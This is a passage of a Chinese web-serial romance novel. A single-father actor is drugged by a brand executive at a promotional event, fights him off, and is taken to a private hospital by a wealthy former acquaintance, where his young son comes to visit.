让几方都愣了愣。 不过李总好歹是根老油条，他很快就从震惊中回过味来，半是熟络半是好奇地说：“……原来蔚先生……跟林总认识？” 林洛宸目光还落在蔚染身上。 祝涛惊讶中带着几分惊恐的眼神, 不住地在他们二人身上游移。 所有人中，蔚染应该是最状况外的一个。……他就没想到自己会在这里再遇到林洛宸。而且…… 依照对方参加宴会的习惯，应该是目不斜视地从自己身边走过，假装从未认识过才对。 林洛宸突然直接过来打招呼, 扰乱了蔚染的认知和心理防线。 但蔚染在投资商上面还真不会含蓄或社恐, 李总问了，他就大方回答道：“认识, 以前见过。” ……只是认识，见过。算不得很熟。 对于五年没有见过面、见面也对面不识的两个人来说, 该是最佳的关系形容。 蔚染天生有一股淡泊的气质, 是耀眼外貌也遮盖不住的不卑不亢, 不说话时更为明显, 像仙子落尘。而他的回答也算得体中肯, 蔚染自以为的。 最起码对面林洛宸也只是深深扫了他一眼, 保持双手插兜的姿势，什么都没说。 可尽管林总一声不吭，但周围的人还是感觉到了氛围中的微妙——林洛宸的目光始终落在蔚染身上，眼睛都不眨一下的，更没有要离开的打算。 他这副模样，怎么看都不像只是单纯认识、来打招呼的。 更像是有仇。 ……仇也不是那种恨不得弄死蔚染的仇。 仔细分析的话，倒更像是爱恨情仇里的仇…… 在场的都是人精，所有人几乎都瞬间get，同时也暗暗吃惊。 氛围一度有些尴尬，李总不得不继续开腔打圆场：“林总这次回国, 有意发展国内的影视市场，蔚染和祝涛又都是备受瞩目的新生代演员，你们两个也真是赶上好时候了。” 祝涛一听这话，也顾不得好奇蔚染和十三亿的关系了。 自己好不容易被在这位林总前面提及，祝涛不会浪费机会，他努力想让自己稳住，却还是因为太激动，声音都发颤：“……林总，幸会，幸会……” 祝涛走向林洛宸，林洛宸瞳孔这才往他身上挪动了半分。 蔚染见了，便像没事人一样，在礼貌地笑了笑后，趁一位侍者从他们这边路过的机会顺势追了上去，要了一杯酒，接着转身就走。 他跟李总都不是很熟，刚才还是看在导演面子上，李总才勉强跟他说了几句话。 如今大投资商、小投资商，以及被投资者要洽谈，那他站在那里多不合适。 可蔚染没走两步，身后便响起一小声的惊呼，听起来像是是祝涛发出的声音。 之后，背后仿佛有一阵劲风袭来——林洛宸竟然抢身上前，三五步便追上了蔚染，又在众目睽睽之下拉过蔚染，直接将人拉进了宴会大厅旁的一个小侧厅。 众人：？ 根本没跟十三亿说上一句话的祝涛：？？？ 小侧厅应该是储备宴会桌椅用的，空气不是很流通，有股淡淡的木屑的味道，也没开灯。 蔚染被拉得呼吸一乱，好在光线太暗，谁也看不清谁的脸，给了他足够的空间调整。 黑暗里，蔚染重新镇定下来，略微别开脸，不去嗅林洛宸身上古龙水的味道。 他从林洛宸的掌心抽回自己的手臂，动作很是强硬。 半晌后，对面传来低哑、听上去是刻意压制的声音： “你们剧爆了，男一肯定更受关注，但你人气比男一高，外面的资本都在观望。我来给你镇一镇场子。” 蔚染没想到对方对自己的处境这么门儿清，也摸不清对方意图，不禁下意识再度拉开距离道：“林总不用这么帮我。” 对面林洛宸的呼吸声变得更重。 “蔚染，这些年你有没有想过我？” 蔚染：“……” 搞不明白怎么刚才还在说事业，这会儿忽然又说这么私人的问题。 不过林洛宸的性子一向如此，比他还直来直去，无论是喜欢还是嫌恶，都既不会掩饰，更不屑于伪装半分样子。 如今看来，这么多年，对方倒是一点没变。 蔚染深吸口气。 尽量做到悄无声息地。 ——可是，先前也是这样的宴会场合，厌恶自己到不屑于再侧眸半分的人，不就是他吗？ 为什么现在还要来问这么奇怪的问题。 “我为什么要想起你？林先生是不是有什么误会？”蔚染不动声色地试探。 他用他不慎灵敏的脑瓜仔细思索，感觉林洛宸如此纠缠，大概还是因为嘟嘟…… 人人都想与之套近乎的十三亿，竟然连续几天都陪嘟嘟排队买红薯，这本身就是很匪夷所思的事情。 更何况，在得知这位就是嘟嘟口中的长腿叔叔后，蔚染越发觉得捐款的事情，还极可能就是林洛宸爆出去的。 但这完全不符合对方的性格！ 蔚染这两天也不是没有担忧过这件事。 他不知道林洛宸是不是已经知道了嘟嘟的身世。 也不知道就算知道了，对方究竟要干嘛。 ——林洛宸还这么年轻，应该不会是再生不出孩子，要来跟自己抢嘟嘟吧？ 这是蔚染能想到的、最坏的可能。 但这些年的经验告诉蔚染，沉住气、慢出牌，总归比坐不住了一门心思往前冲要好。 尤其是在自己绝对撼动不了的资本面前。 蔚染沉着地问着，背挺得极直，即将出鞘的长剑一般悍利。 尤其是黑暗掩盖住了他那张过分清俊秀气的脸，给人的感觉便只有锋芒毕露。 林洛宸重重地哼笑了声：“蔚先生客串个综艺都能鞠八十个躬，见到粉丝就脸红，根本不好意思跟他们讲话，在我面前倒丝毫不客气。” 蔚染神情复杂。 林洛宸又骤然压低声线：“蔚染，我有个想法，十三个亿我都投你，让你做S+大男主。” 蔚染呼吸再度一滞——这么不着边际的提议，难道对方当真是为嘟嘟来的！？ 连瞳孔都放大了稍许，但蔚染仍在提醒自己稳住，绵羊音响起：“哦？什么条件？” 然而对面的林洛宸却更重地屏息，这一刹那，所有的声音都仿佛戛然而止，像山雨欲来前的宁静，又在下一个时刻猛然爆发—— “蔚染，难道我对你好，都一定要有条件了吗！” 蔚染：“？” “……先生？”不明情况的服务员听见声音推门进来，谈话不欢而散。 或者说这本来也不算是一场正式的谈话。 蔚染摸不清林洛宸的想法，他只觉得他那话说得实在奇怪，语气就像是好多年前、他们也不过才不过十八九岁时，林洛宸会说出来的东西。 那时候他跟林洛宸在不同的城市读书，但林洛宸会经常来蔚染的学校探望自己的母亲、也就是蔚染的恩师。 于是在蔚染的印象里，他跟林洛宸也经常见面。 最开始是时隔一个月。 后来最频繁时，几乎每个周末他们都泡在一起。 蔚染那时候外向又活泼，一整个气血爆棚，面对比自己小、喜欢臭着张脸但其实又很听话的别扭弟弟，他总是很好意思地指使林洛宸干活，势必要把对方那别扭劲儿给拧回来，经常不是让林洛宸去给他买披萨，就是去排队给他买音乐会的门票。 如果一切还停留在那个时候，那么林洛宸刚才质问的问题，倒一点都不突兀。 可惜现在不是给他买披萨，而是十三亿。 而那些往事，也的确已经是很遥远以前的事情了。遥远到蔚染很久都不曾回忆过，仿佛已经是上个世纪的记忆……在养家、养好嘟嘟面前，浪费时间去想以前的事，都属于过分矫情。 林洛宸身上古龙水的味道让蔚染心烦意乱，便干脆一把推开对方，自己率先赶回主会场。 他没再回头看一眼，只觉得背后的那道目光烧灼，烈焰一般，令蔚染心上莫名一阵刺痛。 但很快，这浓烈的刺痛又被铺天盖地、习以为常的麻木所淹没。甚至可以就像没发生过一样。 对于现在的蔚染来说，只有养好嘟嘟这一件事才最重要。 与陈导的合作能让他既实现自己演员的梦想，又能在经济上照顾好家庭，蔚染便已经知足了。 饶是只离开了几分钟，等蔚染再回来的时候，几乎所有人的目光都投向了他。 十三亿的威力真不是一般的大。 蔚染这么感慨着，又觉得背后的视线依旧尖利得刺人。 他看不懂现在的林洛宸，也没有心思去分析，他只担心对方又忽然做出什么失格奇怪的举动。 好在一抬眼，就看到了自己熟悉的品牌方。 蔚染自然走过去跟对方打招呼：“米总。” 很多品牌都敏锐得像海里的鲨鱼，《夜将行》刚爆火没两天的时候，蔚染的代言数就从0变成了2，等蔚染在综艺上又火了一把后，代言数就跃到了4。 虽然都只是吃喝品类的，代言费和投广量都一般，但用季养运的话来说，百两不嫌多、半文不嫌少。有总比没有好。相信他们会越来越好~ 事实也的确如此。 米总背后的雅洁集团就是国际级的大厂，专做化妆品洗护类产品，属于家喻户晓的品牌，也是蔚染刚刚签下的第五个代言。 蔚染即将成为雅洁的亚太区总代言人，而米闵德则是雅洁亚太区总负责人，双方未来一年都有利益捆绑，在这里相见，自然不只是熟络地打招呼了。 之后，蔚染便跟米总一起行动，等在宴会场上转了一圈后，早已不见林洛宸的身影。 蔚染微微松了口气。 一只手臂向他伸来，隔空便要环上他的腰际，蔚染下意识错位移开。 米总维持着矜贵的笑脸，再次出现在他眼前。 “来来来阿染啊，累了吧，我们单独去那边坐坐。” 作为一个快四十岁的男人，米闵德保养得已经算够得当，品味也还不错，穿着举止得体，但有时候对方忽然做出的过分亲密的动作，还是让蔚染觉得很油腻。 米总大概是看他总迷迷糊糊的，以为他是真傻，行为才不再那么收敛。 但蔚染早不是初出茅庐的新人了，在这一行里，他什么人没遇见过。 心头甚至不会浮现什么波动，视线锁定在米总笑眯眯给他端来的那杯香槟上，蔚染不动声色地接过，对方说什么他都微笑、礼貌回应，滴水不漏地，到最后也没喝一口酒. 一个星期后，蔚染与雅洁的合作正式官宣。 雅洁公司还在S市特意举办了一场发布会，采用线上线下同时进行的方式，蔚染也来到了活动现场，晚上八点，现场人声鼎沸，观看直播的同时在线人数更是一下子突破了十万人。 整个活动，蔚染的总出场时间大概是四十分钟，但为了这场见面会，他早半个月就跟剧组请好了假，也早早就来到了现场，做造型、对流程，还要背诵发言稿，一刻不得闲。 可真等走到台上，真切地看见有那么多人等在场地下面和直播间里，就只为见他一面时，蔚染还是深深地感动、同时也彷徨了。 他有过在台上作为焦点、备受瞩目的时候，也在聚光灯下大放异彩过。 但那些都是很多年以前的事，过了几年跑龙套一文不名的日子，蔚染从没想过自己还能再次被这么多人喜欢。 想到这里，就觉得受宠若惊极了，站在台上的蔚染除了仔细配合主持人的安排外，就是不住地对现场和镜头前面的观众鞠躬、表示感谢。 【天呐，我崽也太乖了吧！】 【他怎么总是这么有礼貌呢，妈粉表示好想揉揉他！】 【啊啊啊染染好好看！比线上看还要好看太多了！真的！巨好看！】 【现场生图直出！[图片]】 【等等，染染旁边那男的，怎么总贴蔚染贴那么近啊！】 【我也发现了，明明都没染染高，还每次都在后面贴染染肩膀，他以为自己很苏吗！？】 【那个主持人介绍啦啊，是雅洁亚太区的总监，官职很大，应该是也很欣赏染染的品牌方吧】 【对，粉丝不要发散，不要让染染为难】 【可是我感觉染染躲他都躲了两次了……就是比较不动声色而已】 【啊啊啊？？我染不会是被人吃豆腐了吧！】 直播间的弹幕快速划过，但还是被有心人捕捉. 晚上八点，林氏集团总裁办公室。 高大落拓的男人脸色乌沉地坐在总裁椅上，手肘拄着桌面，双手指根交错，面上不带一丝表情。 他面前的电脑屏幕上，放的正是雅洁周年活动的直播。 对面，两名穿西装打领带的中年男人正局促地坐在椅子上，一个忙着擦汗，一个则仔细打量着总裁的一举一动。 总裁的电脑没开声音。 整个办公室静的落针可闻。 又过了几分钟，眼见林洛宸双目死死盯着电脑屏幕，也不说话，他对面的两名主管更加不安了。 ……临下班的时候忽然把他们两个留了下来，接着就是后面长达近三个小时的“领导谈话”。 别看这小林总年纪轻轻，可人家反应快、脑子灵活，专业能力还强。关键是气势又特别的足！ 谁跟他说话，都基本很难绕开他的问题——看似是在普通地喝茶和闲聊，实际上说是一场围猎还差不多，不够聪明的、胆子小的，或许早就把什么都交代了！ 这简直就是一场精神凌迟！ 更恐怖的是，前两个小时林总虽然也板着张脸，但态度还算温和，甚至有种猫逗老鼠的松弛和玩弄，让人打怵归打怵，但至少不会有太重的心理压力。 可自从林总打开电脑，也不知道开始看什么后。 两个人都不约而同地发觉，这小林总的气势变了！ 变锋利了，也变恐怖了，平静中带着一种狠绝的气息，饶是谁见了，都知道—— 是这个人没有耐心了。 “我就再说最后两句。” 猎犬调戏猎物一样跟俩人唠了两个多小时的年轻总裁，眼皮向上一抬，竟毫无预兆地步入真正的主题：“挪用公款不是小事，两位自从我来之后，暗地里做的那几笔账目，加起来也有几百万。” 林洛宸解开交织的双手，直接抽出一沓文件摔了出去，刀锋般冰冷的双眸也终于离开电脑屏幕，直勾勾地冲向对面的两位主管。 “几百万不多，但二位不会以为，我真蠢到明知有人要搞我，却连这都发现不了吧？” …… 恢复安静的办公室里，林洛宸一双冷眸闪着凌厉的光。 被这道视线不住地逡巡、扫过，两个人再也无法维持镇定。 “林总，您看这事……” “就今晚，谁先交代清楚了，我可以当你什么事都没做过。” 林洛宸声音玩味：“但如果过了今晚，如果还有什么是你们两个没让我弄明白的……” “是林峰总示意我们俩做的！要不然挪用公款这么大的事情，我们两个经理级别的怎么敢拍板！……” “是啊林总！” 见同伴竟然先招了，另一位忙着擦汗的主管也再不敢忙乎擦汗了，先前流汗的地方再度汗如雨下：“要不是您二叔示意，我们两个怎么敢！是峰总说，总部马上会派审计来，只要在那之前我们让账目亏空个千八百万，就、就……您就会被调离国内市场，彻底离开这里……” “砰！——” 主管们话没说完，刚刚还饶有兴致听他们俩招供的林总，在看了几眼电脑屏幕后，不知为何便突然猛捶了下桌子。 桌上杯子发出瓷片轻磕的声音，连电脑都跟着一阵猛烈摇晃。 林洛宸猛地从椅子上站起，视线最后在电脑屏幕上停留一秒，接着便大踏步地往外走。 “你们先回去吧。” 顷刻间便再看不见林总踪影。 “……” 两位经理面面相觑，所以他们这……怎么他们都交代了，林总反而生这么大的气？ 到底咋了？？ 那他们，这算是在今晚结束之前都交代清楚了吗？？？ 电脑屏幕上，直播已经快要接近尾声，礼仪小姐端了几杯香槟上台，为了庆祝品牌周年庆以及蔚染与雅洁的合作，主持人提议大家共同举杯. 共同举杯后，蔚染今天的公开活动就算结束了，但之后还要参加品牌方举办的晚宴。 不过还没等换衣服，蔚染就觉得有些不大对劲了。 休息室里，蔚染半靠在一旁的沙发上，接下来要更换的常服散落在一旁，他难受地扯了扯自己的领口。 现在这个情况……他助理…… 对了，他助理好像是被品牌商借去搬东西，他只是简单地回这屋换件衣裳，药劲就上来了…… 药劲？什么药？ 蔚染猛地想起刚刚喝的那口香槟。 …… 不是吧，是他糊了太久，对这个圈子最新的变态程度已经不了解了吗？他们怎么敢借助这种公开活动…… 指尖深陷进沙发里，指节上的皮肤泛起青白，蔚染试图让自己站起去摸手机。 但在这之前，本来被他锁好的休息室大门却被人从外部用钥匙打开，米闵德那张油腻的脸出现在蔚染的视线里。 “听说阿染不舒服，我来看看，这是怎么了？” “……” 蔚染半撑着身子咬牙：“是你干的。” 眼见蔚染状态不对，米闵德干脆怪笑着回身，反手锁了房门。 “唉，虽说阿染你最近人气很高，但像雅洁这种国际大公司能单独与你合作，你也不想想是谁在背后出的力。” 米闵德向蔚染的方向靠近：“现在都内卷到什么程度了，先不说代言费，你也借助我们品牌做了不少宣传嘛，像今天的这场见面会……” 蔚染已经强迫自己站了起来，米闵德知道他是要拿手机叫人，便率先将蔚染助理留下的工具包甩向了角落。 蔚染的身形纤薄极了，皮肤又白又细，而且相貌好得惊人。几乎是在看见他第一眼时起，米闵德就盯上了这个人。 他几近疯狂地刷遍了蔚染的路透和视频，知道这种曾经红过、被埋没，如今好不容易有机会复出的明星会多么珍惜这样的机会，所以从最开始，他便已经想好了要这么做。 他接着说：“虽然你与雅洁的合作已经签了，但后续的宣传做成什么样，地广铺得有多广，咱们可都还在商量……蔚染，好不容易成了整个亚太区的代言人，难道你不想你的形象遍布整个亚洲吗？” “只要你愿意，整个亚洲的商业区，我可以都打上有你的广告。” “……” 蔚染这会儿既虚弱又燥.热，看人还有些重影，但对方的意思他已经明白了。 无非是觉得他既不敢闹翻脸，又可能很想占品牌方的便宜……依对方如此大胆的行径，这种事他怕都不是第一次做了。 “呵。”靠在化妆桌前，蔚染半弓着身子、两只手向后撑着桌面，一向苍白的面颊多了抹绯红，呼吸凌乱着。 米闵德最后露出得意的微笑，说：“再说你都多大了，你家孩子都那么大了，都到了这份儿上，你还有什么可矜持的。” “你……敢。”蔚染狠狠咬牙。 米闵德蛮不在乎：“我有什么不敢……” “砰！” “啊！” 休息室里传来一阵惨叫，紧接着大门又一次敞开，蔚染动作夸张地拉开这道门，喘着粗气向外走。 房间内，米总捂着自己被猛踹一脚的下腹部，直接倒地不起。 “你也敢提嘟嘟。” 这是蔚染出脚前说的最后一句话。 蔚染看着瘦，但他早先的梦想可还是要成为一名武打明星呢，并且真的有去学过，自由搏击擒拿术几乎都刻入骨子里，现在再虚弱，对付一个脑满肠肥的色狼还是绰绰有余。 至于米闵德的那些威逼利诱。 他还是太不了解蔚染了. 明明今天的活动声势浩大，但不知是不是姓米的有所准备的缘故，走廊上竟然一个人都没有。 也或许是蔚染混沌的大脑、单方面地以为时间已经过去了好久，但实际上他也才只脚步虚浮地走了几步。 这迷药劲儿还不小，过去的很多事情，都浮光掠影般自蔚染脑中闪现。 好像同样是这样的夜晚，也同样是有人设计他、要潜规则他，蔚染同样没干。 而从那天以后，蔚染的口碑和名声便急转直下。 黑他的通告铺天盖地，蔚染又正面临转型期、在跟自己的经纪公司打官司，不仅没有自己的运营团队，缺德的经纪公司也恨不得把他往死里踩，好趁机报复他雪藏他。 那时候蔚染又是才接到人生第一部打戏，他把全部注意力都放在了这部戏上，倒也不是指望剧播后会给自己带来什么情势上的扭转，他大概就是季养运说的那种轴，只想拍好这部戏，承受再大的压力、再累都无所谓…… 可杀青后，就被他发现自己怀了嘟嘟。 再之后是林家的人…… 总之，又发生了许多许多的事。 就好像所有的事情都在告诉他，你不适合做这行，退出吧算了吧，蔚染想挣扎都再没力气，最终只好与自己热爱的舞台告别。 …… 眼下的情况跟那时候比，真是不值一提。 米闵德大概真是，看他近期的路透看多了，还真以为他是只绵羊。 脊背贴在冰凉的墙面上，稍稍平稳了呼吸，蔚染尽量让自己保持镇定，意识不要迷离。 可他好像连幻觉都出现了。 他看见了一张熟悉、又早就陌生了的面孔，穿着让他觉得陌生的西装，却顶着记忆里他万分熟悉的关切表情，正急匆匆地向他的方向跑来。 “……蔚染！”—— 作者有话说：还是88只小红包 对了，这篇不长，会比较迅速解开误会，重点还是各种养崽崽（被崽崽养）的日常[垂耳兔头] 18、第十八章 第18章 靠在墙上的蔚染面带薄红衣服凌乱, 林洛宸乍看见这一幕就被气得发抖，目眦尽裂。 来不及考虑太多，他直接上前去一把将蔚染抱起。 蔚染这情况, 很明显是中药了。 “叫医生。”他对跟在自己身后的保镖说。 转身的时候，正好与捂着肚子、龇牙咧嘴走出休息室的米闵德打了个照面。 “……林、林总？” 米闵德没见过这架势，当先被脸黑成锅底的林洛宸吓了一跳。 米闵德是知道蔚染跟这位资本大佬认识，但上次酒宴过后也没听到过什么风声、说这俩人就怎么相熟。 可如今这架势…… 蔚染被个个子很高的男人稳稳抱着, 单从视觉上来说, 这场面就足够冲击。 蔚染再瘦，但也是个一米八的正常男人, 如今被人轻易打横抱起，那人还一副游刃有余的模样……这确定是现实中的情节？ 瞬间觉得自己的肚子又疼了。 不仅游刃有余, 林洛宸还步履轻快。 稳稳地抱着蔚染从佝偻着身子的米总身边走过, 林洛宸对身后的另一个保镖说：“这位看上去也受伤了, 不如一起带去医院。” “啊不用了林……” “不想现在就死, 那就把嘴闭上。”冷森森的声音打断了米闵德下意识的客套, 还让后者硬生生打了个寒颤。 “……”米闵德只得乖乖被保镖控制着跟他们走。 林氏私人医院里。 昏昏沉沉的蔚染被送去检查, 然后打了一针，就被送进了高级VIP病房。 私密度极强，没有引起任何人的注意和风波。 主治医师站在蔚染的病床边，战战兢兢地向坐在旁边的男人汇报情况。 “是摄入了些迷药，不过应该已经没有问题了，等残留的药劲过了就好……” “应该？等？”林洛宸长眉凶悍地往上一扬，眼睛还落在病床上，可旁边的医护人员们却都感觉到一种森然冷昳的打量。 医生：“……” 这胃也洗过了，太大量的解毒剂又不让用，说是担心病人身体, 除了等药劲自己过去，他们也没法子呀！ 上次来医院治过敏的时候，这位小林总也没这么多毛病呀！ 医生正不知道该说什么，倒在床上的病人倒是忽然开腔了…… 蔚染声音模糊地说： “哎呀林洛宸，你别为难人家。” …… 病人状态不好，吐字并不清晰，像人喝醉了酒。 但即便这样，那软软的、迷迷糊糊的小绵羊音，也还是让床边人和在场的医护都听清楚了他在说什么。 “……！” “……” ‘所以床上的人，是直接喊了咱小林总的名字吗？’ ‘听上去在撒娇！’ ‘唉呀妈呀这这这，这不是蔚染吗！那是演韦玉书的演员！他跟这位小林总？……’ 几名护士中间响起一阵淅淅索索、衣料摩擦的声音，有人还明显屏住了呼吸。 但林洛宸已经什么都注意不到了。 ——蔚染，刚刚…… 是在跟自己撒娇？！…… 记忆里的蔚染也会这样。 平时阳光、充满朝气的青年会颐指气使地让他去做事，可林洛宸也是很有脾气的，部分时候……大部分时候，蔚染都别想指挥得动自己。 而每每到了这个时候，蔚染就会用上他特有的小绵羊音，轻轻软软着的、尾音上挑着的，对他说：“哎呀林洛宸，你别这样。” ——是一股又撒娇、又不耐烦的味儿。 但特别可爱。 记忆里有一次，是他跟蔚染在外看电影至深夜，回蔚染宿舍的路上就遇见了一伙白种人。 那几个人先是要打劫他们，后来看清了蔚染的脸，那些喝醉了白种猪还试图调戏蔚染。 年轻的林洛宸不惹事也不怕事，而且是真有脾气，他对冒犯他的人从不手软。 那次是就在他正当防卫、差点把对面的一个人打成重伤时，蔚染跑过来拉他、劝架时用的就是这种语气。 …… 林洛宸将视线全然锁定在倒在床上的人身上。 蔚染此刻面颊还是红红的，能扛住精密相机各个角度拍摄的超绝容颜，平时还因为面色苍白而隐去了几分秾丽，现在倒是重回鲜妍。 过分削瘦的他就这么倒在病床上，半侧着身躺着，快把自己蜷成一团儿，同时凤眼微张，像只受了委屈的凤凰。 可即便这样，蔚染仍旧是柔和又骄傲着的，还像林洛宸记忆里的模样，劝他说：“你别凶。” 林洛宸：“……” 林洛宸知道，蔚染这会儿是不清醒的，才会跟自己这样。 可沉默半晌过后，他还是泄气了一般，忽然说：“都出去吧。” “是，林总。” 周围屏住的呼吸纷纷放松了许多，几名医护工作者从病房里鱼跃而出。 林氏的私人医院待遇极好，医院主打的也是保密工作，一般只接待高端客户，在这里工作的医护人员也都率先进行过保密工作的培训、签过保密协议，对于今晚的事，没有人会出去乱说。 虽然林洛宸也无所谓。 这事曝光出去能怎么样，关自己什么事。……上次招商晚宴上，蔚染不就是奔着那个大区总监去的吗？…… “脱离”开自己后，他全程都跟那个男的待在一起…… “一个搞洗护的小企业，不过就是跨区在几个国家有贸易而已，至于你这么在乎？” “那人明显獐头鼠目，我不信你看不出来！” 林洛宸本不想再动怒，但面对病床上表情迷离的人，他还是越说越生气： “你的团队都是怎么工作的，这样的品牌都能合作？！” “还有你经纪人呢，怎么总让你自己参加活动，这么大的事，他都不跟着？” “助理都是干什么吃的！” “米闵德，他妈的，他死定了！” “嗡嗡嗡，嗡嗡嗡……” 林洛宸骂的起劲，可蔚染这会儿头脑不清晰，还耳鸣着，他有时候能听清林洛宸说什么，有时候又识别不了，最后就变成了这样一片蜂鸣。 “嗡，嗡嗡，嗡嗡嗡嗡——” 直到安静的病房里，真的响起一阵嗡嗡声，蔚染的意识才稍微回笼，他看见林洛宸拿着他的手机。 刚刚把米闵德带走处理的时候，林洛宸的保镖就找回了蔚染的助理。 这种助理兼保镖的业务能力，在林洛宸眼中就是不合格的。因此无论是蔚染做检查时、还是被送进病房后，他的助理都一直被拦住门外。 武宝宏都快急哭了，要不是联络了季养运，他差点就要报警。 这会儿蔚染手机响了，他倒是有了个理由进来。 病房门被推开，两名保镖裹挟着武宝宏把人推进来，武宝宏说明来意，林洛宸便接过手机，上面的确显示着“嘟嘟宝”三个字。 刚刚还严肃教育蔚染的人，这会儿表情又瞬间带上几分犹豫—— 蔚染住院了，该怎么告诉嘟嘟…… 但犹豫是犹豫，林洛宸一向手不慢。 在两方保镖的注视中，他直接代替蔚染接起了这个电话。 “爸爸，爸爸。”蔚嘟嘟清脆又充满奶意的声音自电话那边传出，床上的蔚染登时瞪大了眼睛。 “宝宝！” 条件反射一样，刚才还佝偻着侧卧动不了的蔚染，这会儿竟然直接坐了起来。 眩晕感让他面上的血色退去了一些，蔚染举目去找自己的手机，又在听见外放扩音器里、嘟嘟传出的小声音后，稍微平静了一些。 “宝宝，宝宝怎么还没睡呀？” 蔚染搓了搓自己那张令粉丝尖叫的珍贵面皮，努力维持清醒，且不叫嘟嘟听出异常。 可饶是如此，不知那边发生了什么，嘟嘟却带着哭腔：“爸爸，爸爸，你是不是病了？” 嘟嘟一哭，房间里的人都乱了。 林洛宸瞬间让人去查怎么回事，后来才知道，是蔚染的经纪人不在本市，听说蔚染出事后就联络了杜陵。 偏赶上杜陵也是欠，想着蔚染今晚也会回来晚，就去蔚染家陪嘟嘟，这么一来二去，就被嘟嘟听到他爸爸进医院了。 嘟宝最怕进医院了。 因为痛痛才会进医院，进医院了也会痛痛。 所以听说爸爸进了医院，平时聪明机灵又坚强的嘟嘟，竟然直接心疼地哭了。 嘟嘟不要爸爸痛痛！ “宝宝，宝宝，爸爸没事，没事……” 蔚染大着舌头安抚着对面，像是急于抱紧嘟嘟一样，慌乱中他直接抱住了林洛宸给他举着手机的那只手臂，就对着手机安慰： “爸爸真的没事，就是喝多了……所以宝宝，等一会儿爸爸就回去陪嘟嘟，好不好宝宝？” 蔚染今晚得留院观察，现在哪儿能出院，蔚染不知道这点，说着就要下地出院，林洛宸便赶紧扶住他，将人控制在病床范围内，他说：“还是我派人去把嘟嘟接过来吧。” 迎着蔚染骤然看过来的泛红眼眸，第一时间捕捉到里面将落的泪珠，林洛宸心中不期然地重重一痛。 他快速解释说：“这里看上去不像医院，不会吓到嘟嘟……” 他刻意压低了“医院”两个字的音量，不叫电话对面听到。 但蔚染的表情还是有几分怀疑和犹豫。 很难不让人怀疑，那是一种对他这个人的不信任。 林洛宸声音便冷了几分，只是问：“想不想尽快见到嘟嘟吧。” 蔚染：“……” 电话那边，蔚嘟嘟声音小小软软的，还在哭着叫爸爸。 蔚染：“……” 蔚染忙继续安慰嘟嘟。 在承诺爸爸很快就会跟宝宝见面后，他挂掉了电话。 之后，病房里面就是一静。 下一刻，蔚染闭了闭眼睛，声音又响起：“要用儿童安全座椅。别忘了给嘟嘟带水杯。” “……好。”林洛宸周身冰冷的气息稍微松动。 “……嘟嘟睡觉要抱着小羊驼，小羊驼不能忘。” “嗯。” “还有嘟嘟的书包，明天一早，嘟嘟还得去幼儿园……” 蔚染其实没什么力气说话，声音很轻地呢喃。 羽毛一样搔在林洛宸心上，林洛宸直接答应：“好。” “还有嘟嘟明天的早餐……” “蔚染。” 蔚染又敲敲额头：“对了，还有嘟嘟的衣服……” “好好，我都知道了。” 林洛宸没让蔚染再说下去，他直接将明显还在头晕的人塞回被窝。 乍然碰到蔚染细瘦苍白的手臂，林洛宸不知为何、心中又是一痛，语气也不自觉地变软。 于是方才的冷硬全部弥散，他哄蔚染：“交给我，我来安排……你别担心了行不行？” …… 连同武宝宏在内的几名保镖，都还傻愣在门口。 所以……林先生是怎么回事？ 刚骂人的时候，不还可凶了吗？…… 林洛宸已经抽出蔚染手里的手机。 半个小时后，蔚嘟嘟小朋友被接到蔚染所在的私人病房内。 蔚染先前打了针，抵抗不了药劲儿，这会儿在林洛宸的连哄带骗下，已经被安抚地睡了。 病房是个两室一厅的大套间，蔚染睡在里间，外面就是一个大客厅，除了没有厨房以外，这里看上去真跟普通住宅没什么不一样。 但嘟嘟已经注意不到这些。 抱着自己的小羊驼，他仰着头跟长腿叔叔大眼对大眼。 ……总觉得，现在发生的事情，跟嘟嘟脑中的某些情节，很相似呢？ 嘟嘟虽然只是个四岁的幼崽，但已经足够坚强可以保护爸爸了。 所以嘟嘟被叔叔带进房间里去看爸爸的时候，没有哭。 虽然有好几个瞬间，嘟嘟的小嘴都抿成了“∧”。 可嘟嘟，最后也没有掉金豆豆，更没有吵醒爸爸！ 嘟嘟也一直都是个很明事理的小硬汉呢。 来的路上，他已经从杜爸爸那里打听到，是爸爸被品牌商坏蜀黍给阴了，所以现在才陷入了沉睡。 且透过助理宝哥哥跟杜爸爸的对话，嘟嘟也知道了，刚才长腿叔叔还凶了爸爸。 对此，从爸爸的房间出来后，嘟嘟就立即对长腿叔叔说：“叔叔，我爸爸，他不是故意要中坏叔叔的奸，计的！” 林洛宸听到后骤然一怔，“嗯。” 蔚嘟嘟两只小手臂往圆滚滚的小腰上一插，干脆撅起了小肚子：“窝爸爸，他也无奈嘀呀！他还能怎么办的呀！~” 一旁的杜陵嘴角止不住地上扬，露出一丝坏笑——还是他家嘟嘟聪明啊，自己也才跟宝宝叙述了一遍，嘟嘟就全记住了，甚至还能直接训那个谁。 可嘟嘟并不想教训谁，于是掐腰也维持不住气焰，宝宝就睁着水汪汪的大眼睛，一边心疼爸爸，一边掰着小手指头、委屈巴巴地跟叔叔细说：“窝爸爸也不能，直接拒绝坏叔叔的呀……因为拒绝了，就会得赘人！那样爸爸，之后就更不好过惹！” 小小的人类幼崽声音软糯糯也怯生生的，还带着哭腔。 林洛宸的表情隐没在阴影里，声音听上去也有几分后悔：“叔叔知道。” 他态度越软，嘟嘟替爸爸委屈的情感就越浓重，人类幼崽不安心地打探：“那叔叔，你刚刚跟我爸爸，吵起来了吗？打架了吗？” “……没有。”林洛宸谨慎回答——刚刚蔚染说话的时候自己没说话，自己说话的时候蔚染没说话，所以他们不算吵架。更没有打架。 嘟嘟便如释重负了似的，稍微吸了吸小鼻子，终于不那么忧心了。 不过宝宝依旧顶着红红的鼻尖、软乎乎地嘟哝：“可是叔叔，你有点渣耶。” “……” “拔拔都那么难受了，叔叔难道不应该先把情况，向我爸爸问清楚，再凶他咩？” “……叔叔知道了。” 林洛宸没反驳，片刻后他还说：“谢谢嘟嘟的提醒。” “不客气的叔叔。” 嘟嘟客气地摆手，又确认道：“那叔叔，下次不会再这样对我爸爸了吧？” “嗯。” 林洛宸态度出乎意料的和善：“叔叔保证。” 一旁的杜陵：这他妈…… 可真是一物降一物！ 之后，嘟嘟又小和尚念经一样、念了好几分钟他爸爸的辛苦和无奈。 林洛宸就安静地站在对面，甚至在认真地听。 等嘟嘟不念了，捧着宝宝水杯开始喝水。 林洛宸倒是忽然转过身来，对着呲牙笑的杜二少说：“这么晚了，杜二少没什么事就请回吧。” 杜陵：…… “那可不成！” 杜陵跟过来就是来陪床的。 